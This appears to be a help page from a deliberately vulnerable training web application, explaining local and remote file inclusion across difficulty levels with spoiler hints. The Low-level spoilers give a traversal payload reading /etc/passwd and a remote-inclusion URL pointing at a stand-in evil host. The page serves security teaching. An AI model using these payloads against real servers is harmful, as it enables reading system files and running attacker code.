2016-12-02 19:19:11 +00:00
|
|
|
<div class="body_padded">
|
|
|
|
|
<h1>Help - File Inclusion</h1>
|
|
|
|
|
|
|
|
|
|
<div id="code">
|
|
|
|
|
<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
|
|
|
|
|
<tr>
|
|
|
|
|
<td><div id="code">
|
|
|
|
|
<h3>About</h3>
|
|
|
|
|
<p>Some web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server.
|
|
|
|
|
At a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing
|
|
|
|
|
the potential for malicious file execution.</p>
|
|
|
|
|
|
|
|
|
|
<p>If the file chosen to be included is local on the target machine, it is called "Local File Inclusion (LFI). But files may also be included on other
|
|
|
|
|
machines, which then the attack is a "Remote File Inclusion (RFI).</p>
|
|
|
|
|
|
|
|
|
|
<p>When RFI is not an option. using another vulnerability with LFI (such as file upload and directory traversal) can often achieve the same effect.</p>
|
|
|
|
|
|
|
|
|
|
<p>Note, the term "file inclusion" is not the same as "arbitrary file access" or "file disclosure".</p>
|
|
|
|
|
|
|
|
|
|
<br /><hr /><br />
|
|
|
|
|
|
|
|
|
|
<h3>Objective</h3>
|
2018-10-12 15:49:58 +00:00
|
|
|
<p>Read all <u>five</u> famous quotes from '<a href="../hackable/flags/fi.php">../hackable/flags/fi.php</a>' using only the file inclusion.</p>
|
2016-12-02 19:19:11 +00:00
|
|
|
|
|
|
|
|
<br /><hr /><br />
|
|
|
|
|
|
|
|
|
|
<h3>Low Level</h3>
|
|
|
|
|
<p>This allows for direct input into <u>one of many PHP functions</u> that will include the content when executing.</p>
|
|
|
|
|
|
|
|
|
|
<p>Depending on the web service configuration will depend if RFI is a possibility.</p>
|
|
|
|
|
<pre>Spoiler: <span class="spoiler">LFI: ?page=../../../../../../etc/passwd</span>.
|
|
|
|
|
Spoiler: <span class="spoiler">RFI: ?page=http://www.evilsite.com/evil.php</span>.</pre>
|
|
|
|
|
|
|
|
|
|
<br />
|
|
|
|
|
|
|
|
|
|
<h3>Medium Level</h3>
|
|
|
|
|
<p>The developer has read up on some of the issues with LFI/RFI, and decided to filter the input. However, the patterns that are used, isn't enough.</p>
|
|
|
|
|
<pre>Spoiler: <span class="spoiler">LFI: Possible, due to it only cycling through the pattern matching once</span>.
|
|
|
|
|
Spoiler: <span class="spoiler">RFI: <?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/wrappers.php', 'PHP Streams' ); ?></span>.</pre>
|
|
|
|
|
|
|
|
|
|
<br />
|
|
|
|
|
|
|
|
|
|
<h3>High Level</h3>
|
|
|
|
|
<p>The developer has had enough. They decided to only allow certain files to be used. However as there are multiple files with the same basename,
|
|
|
|
|
they use a wildcard to include them all.</p>
|
|
|
|
|
<pre>Spoiler: <span class="spoiler">LFI: The filename only has start with a certain value.</span>.
|
|
|
|
|
Spoiler: <span class="spoiler">RFI: Need to link in another vulnerability, such as file upload</span>.</pre>
|
|
|
|
|
|
|
|
|
|
<br />
|
|
|
|
|
|
|
|
|
|
<h3>Impossible Level</h3>
|
|
|
|
|
<p>The developer calls it quits and hardcodes only the allowed pages, with there exact filenames. By doing this, it removes all avenues of attack.</p>
|
|
|
|
|
</div></td>
|
|
|
|
|
</tr>
|
|
|
|
|
</table>
|
|
|
|
|
|
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
<br />
|
|
|
|
|
|
|
|
|
|
<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ); ?></p>
|
|
|
|
|
|
|
|
|
|
</div>
|
